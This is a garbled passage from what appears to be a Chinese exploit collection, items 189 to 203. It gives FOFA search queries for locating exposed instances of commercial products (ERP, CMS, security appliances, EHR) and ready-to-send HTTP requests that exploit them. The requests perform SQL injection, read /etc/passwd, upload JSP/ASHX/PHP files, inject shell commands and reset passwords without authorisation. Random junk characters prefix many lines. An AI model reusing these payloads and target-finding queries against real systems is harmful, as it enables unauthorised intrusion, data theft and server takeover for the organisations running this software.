5 h$ A: Z" Z- b0 L& W1 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 ?+ P/ h: v! b* l0 d$ RAccept-Encoding: gzip, deflate
! l) t1 ]6 n2 O3 A. j/ i% T+ VAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


189. 蓝网科技临床浏览系统 deleteStudy SQL注入
3 D4 u0 z  @2 b& cFOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
" ^  q. `( q  t) d/ u: GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
5 }6 i9 X. t7 H. t. G+ K  W4 N+ PConnection: close
5 O7 X6 ^9 [, o  _1 q4 I$ z

1 m+ S8 Q  a# Y: I190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
, |( X9 X+ V5 b" S7 BContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
# B1 d$ o, R& V, e& G. vAccept-Language: zh-CN,zh;q=0.9

  g5 c2 Z% N+ cpoi=file:///etc/passwd
3 ?% G" A/ `% _6 C7 ?" L% Y9 i* T

; R. K8 @5 a* I: Z. |191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
; ^. b& A# r  j% j  z& \3 nFOFA：body="/CDGServer3/index.jsp"
& o& k; z- t& n& w, y  {POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
, I! ^$ Y0 C5 |- s5 WContent-Type: application/x-www-form-urlencoded
2 N. a. w. _" c/ }1 _6 h0 T1 G3 a; F
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=


192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
% N: B$ b) k3 YPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
* @/ {7 }  X9 U* u# N* CHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
( L0 i! @# s  a) gContent-Type: application/x-www-form-urlencoded
3 P" u; D9 [# \* y( k! @2 e
! I- {4 E% }, r; ^! y
<% @ webhandler language="C#" class="AverageHandler" %>
using System;
, t& ]  @, C9 R) g. ^using System.Web;
public class AverageHandler : IHttpHandler
/ r5 G* j( C9 y, e, T( a{
public bool IsReusable
{ get { return true; } }
4 Z/ q0 q* T4 n& lpublic void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
}
}

. a. F& P6 F- _1 w/ \8 D
3 Q4 j$ e" l( N' |/ e2 g193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
( E& P* }" J. J0 `( u7 ?; O" dFOFA：body="山石云鉴主机安全管理系统"
* T6 F# ]! V6 }9 wGET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
6 C3 X8 X1 I6 vCookie: PHPSESSID=2333333333333;
: {/ j( g+ L& d. o4 W( t4 EContent-Type: application/x-www-form-urlencoded
  U. a9 H! K3 ^# H0 eUser-Agent: Mozilla/5.0

! \+ I5 D, {$ t! f' e) V
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
1 ]6 [' J# a' j6 DUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
" ]6 J9 R: |2 x  ^Content-Length: 84

+ ^8 n, r0 d/ {. b3 Y+ I' fparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')


# L, q6 s7 l# W9 k0 S7 @$ |GET /master/img/config HTTP/1.1
! U4 x3 [8 v" G# L. ?4 N7 B3 q' }Host:
User-Agent: Mozilla/5.0
. \3 _* J/ l7 o

194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
9 A4 m5 q/ _: z' o* ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 h0 q( H' }: f/ h& g) XAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

) s  b5 P8 ^+ l# C- `Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
% C: v/ b! \' hContent-Type: text/plain
1 z4 S: K1 R8 X4 d5 A6 c<% out.println("hello");%>
: J1 S6 t% Q0 e' z! ~2 }2 I& I" {------WebKitFormBoundaryKNt0t4vBe8cX9rZk
3 G3 @, z; b( Z0 q# pContent-Disposition: form-data; name="json"
7 A, B3 _2 A6 k  A; T& _ {"iq":{"query":{"UpdateType":"mail"}}}
' N  Z  M& R) K' \6 S7 P/ l8 ~------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
9 r1 W8 Y8 [0 `- o* ^* O2 N
. w- P7 K/ L0 W- I$ n3 V6 o
6 b+ U! D% T' m5 G" B6 N- i% {195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
- J0 k% W  R! q7 f% L- u- bPragma: no-cache
$ I8 F3 ~) \0 A( v# T: sCache-Control: no-cache
3 D/ N) I  s# J5 B" ^! A+ r! P$ BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
/ Z# }  z5 a$ a! U( R/ f% _2 T, G, RAccept: */*
1 ~3 ]. H" k/ fAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 F& p) G+ y  V% sConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
0 f2 X; P* q: O) O& p( d
6 v+ f. G2 M( X+ G9 G, `; Y2 S0 h{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

7 p4 ~: d: k$ D
196. 河南省风速科技统一认证平台密码重置
. U1 w# C. w- u/ G3 B7 J5 W( wFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
, I$ a' w0 G4 L" F: Y7 q7 [- _6 ePOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
  P. N1 I' `) C' T4 R+ z2 T) k( qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
3 o3 p" W& Q, I- v9 G2 @  NContent-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
) k& g8 Q. _( ?4 sHost:
. t6 U) Z1 }  w! d" qAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
5 Q  P) r% T9 M( \Content-Length: 45
/ {' l2 `& o4 Z5 i; q% c# d( T4 gConnection: close

6 }8 c& T. h6 }( Y0 f) v; x8 q  R{"xgh":"test","newPass":"test666","email":""}

' f" s) P3 N) [- w  e9 Q- w' C
2 f% I3 `3 R- n  ?
  ?2 R7 _# c) K0 V' X197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
; O3 Y6 E% H% N9 o. F4 @: A# uGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
; E  ?3 S0 z4 ?" e5 v  F& `1 r! OHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
; A8 R. j  s5 H, t: y% X! j" nConnection: close
% _! k% P8 p# I- k& \- f( k


198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
, @) V# Q0 {2 l" v9 U' V- tGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
1 M0 I& k- s7 u3 W6 Y' gCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
% E& d/ c7 U# P  ~# P  c/ O3 H, LAccept-Encoding: gzip, deflate
0 t/ v: Y  F! x1 N# ~1 EAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
! R) ^0 w2 g8 s4 @Connection: close

) n) P/ T+ A: y! }. v7 n
199. cockpit系统assetsmanager_upload接口 文件上传
$ x- H) l- B) N4 }! s' v; W. d+ ]
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
; T3 ~* x' b# YGET /auth/login?to=/ HTTP/1.1
5 R2 R5 d1 \" n3 v! \
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
' H. v6 p. D  `2 l$ n
2.使用刚才上一步获取到的jwt获取cookie：
0 Q% D: |" Q0 G  q/ ]
POST /auth/check HTTP/1.1
Content-Type: application/json
  O; |4 W6 t, n# l0 E. y
{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

, w# v- _: h! o响应：200，返回值:
& ~- H3 h$ M7 {Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
; Y. ]* I; K% J$ rContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
; P( W; Z- |! g! p4 H5 M5 i# f
9 H* ?1 v2 K1 b! l-----------------------------36D28FBc36bd6feE7Fb3
& H% @0 W/ l0 _, z5 XContent-Disposition: form-data; name="files[]"; filename="tttt.php"
, P, N# f  H8 B. WContent-Type: text/php
) a) I7 n: `3 U, v  M4 n/ J; N
<?php echo "tttt";unlink(__FILE__);?>
: }2 [' _5 G  y  c2 ]9 {, G-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"
1 }7 ]) B) k7 A1 \. v2 v
! L. M: P& T2 Y/ P$ T( g-----------------------------36D28FBc36bd6feE7Fb3--
- s% c  t% e7 g

4 N* W, V; i& p: l/storage/uploads/tttt.php
; c7 \/ e# S7 ?
200. SeaCMS海洋影视管理系统dmku SQL注入
8 F6 O& F1 m9 x7 j( ]FOFA：app="海洋CMS"
  @' d7 D, T+ a4 |GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
2 X$ R9 h/ e; ^, }/ ?4 BUpgrade-Insecure-Requests: 1
* C  S7 f2 b7 \( D5 x& Y, o; n& ICache-Control: max-age=0
; }7 k0 I! S" z/ gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# [! i& f+ l& x/ J0 z0 z7 OAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
" T/ \: v& t2 A) c" S7 q3 t, L4 L

4 R) P4 O5 ]7 D! L201. 方正全媒体新闻采编系统 binary SQL注入
' {) ]& z! r' X. fFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
$ h6 V3 M  X3 C  H0 Z: SPOST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
/ j$ Q2 E  [- [' d; _  ^+ CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
' |1 Y# e6 O/ A* i- z) QAccept-Language: zh-CN,zh;q=0.9
Connection: close
) y& t# ?, J7 n
  F+ A# a7 v5 D* yTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
' c. K  U$ w: l9 F0 V. k

202. 微擎系统 AccountEdit任意文件上传
$ Y/ K, v2 b! I8 D; WFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
$ ^# h9 B# n1 t1 Y3 e# j7 I! i4 uGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
$ m6 `, t3 C* b9 PContent-Length: 0
2 T9 B1 I9 I  L* }0 V* [$ g  ?0 [

, _9 M- I& E; M8 J) U替换__VIEWSTATE和__EVENTVALIDATION值
8 C: M: `1 V/ [! VPOST /User/AccountEdit.aspx HTTP/1.1
: a8 K( y2 x4 I* wAccept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
, b* I' j* R: B+ ]* ~8 }
0 Z6 H) `1 G8 \& P' G, k-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
2 K' U  d, O( F" s
__VIEWSTATE
0 h7 t; B+ N( t$ o/ I( x-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

9 j8 ?" g/ K% B+ ]$ p* c__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
7 ~! f0 n+ T% e% L6 R: ^) m; jContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

Hello World!
-----------------------------786435874t38587593865736587346567358735687
: H- N0 O: P  O5 j8 p9 R* FContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
! g& n, \" h; U+ D# r8 C3 V
上传图片
-----------------------------786435874t38587593865736587346567358735687
, X% Z6 @% N9 _$ yContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
) t! D0 n: A8 q! F5 k

0 G: m8 ]0 q% p: Q8 w-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"


, G" ?4 Q/ P4 ^' D-----------------------------786435874t38587593865736587346567358735687--

. p# K/ J) \/ g: z, R
% t! X+ I' f# M. ~/_data/Uploads/1123.txt

203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 A7 c- |: L, j4 [% l0 a  i: yContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
' `+ T8 x! z0 b$ Z) K. |Content-Length: 210

------WebKitFormBoundaryt7WbDl1tXogoZys4
( q. ^) p- ^: u3 W2 d, b0 M8 KContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
/ V0 u8 Y# v; A4 vContent-Type:image/jpeg
+ A7 r1 R3 P/ p3 L/ _' f/ v
<% out.print("hello,eHR");%>
! X% Z: v3 g5 c) _1 s% s9 }------WebKitFormBoundaryt7WbDl1tXogoZys4--
3 t: s* K/ L/ T; J) L' A8 a+ Z

4 a& T, a" o8 i